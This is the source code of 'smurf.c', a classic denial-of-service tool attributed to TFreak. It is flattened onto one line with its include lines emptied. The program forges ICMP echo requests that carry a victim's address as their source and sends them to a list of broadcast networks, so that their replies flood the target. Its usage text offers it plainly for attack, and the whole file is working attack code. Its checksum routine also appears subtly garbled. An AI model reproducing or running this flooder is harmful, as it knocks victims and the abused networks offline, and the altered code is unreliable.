#include #include void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); /* stamp */ char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"; int main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n"); return 0; } void banner (void) { puts("\nsmurf.c v4.0 by TFreak\n"); } void usage (char *prog) { fprintf(stderr, "usage: %s " " \n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc (int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } Spirit_2001a -------------------------------------------------------------------------